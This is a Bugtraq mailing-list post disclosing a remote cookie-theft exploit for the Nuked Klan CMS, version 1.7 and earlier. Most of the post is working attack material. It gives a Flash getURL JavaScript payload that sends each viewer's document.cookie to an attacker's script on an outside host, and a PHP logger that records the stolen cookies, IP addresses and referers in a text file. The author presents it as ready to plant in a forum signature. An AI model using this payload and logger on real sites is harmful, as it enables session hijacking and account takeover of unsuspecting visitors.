bugtraq - Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit

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Message-ID: <20070102174630.19493.qmail@securityfocus.com>
Date: 2 Jan 2007 17:46:30 -0000
From: kadaj-diabolik@...mail.fr
To: bugtraq@...urityfocus.com
Subject: Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit

[-] Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit
[-] Vendor : www.nuked-klan.org/
[-] Found by NeoSSJ & Kad'
[-] Full disclosure on 31 December 2006

[-] Notice : 

you only have to create a *.swf file, and you put on : 

getURL("javascript:alert('document.location="http://site.com/cookie.php?cookie="+document.cookie');"); 

or anything like that to have the cookie of all the persons who will see the cookie : 

[-] Exploitation : 
getURL("javascript:document.location='http://site.com/cookie.php?cookie='+document.cookie");

the php script is anything like that  :

<?php
 $cookie = $_GET['cookie'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("m/d/Y g:i:s a");
 $referer=getenv ('HTTP_REFERER');
 $fl = fopen('cookies.txt', 'a');
 fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
 fclose($fl);
?>

then you only have to go to http://site.com/cookies.txt, and you have the cookies of 
all the persons who have seen your signature 


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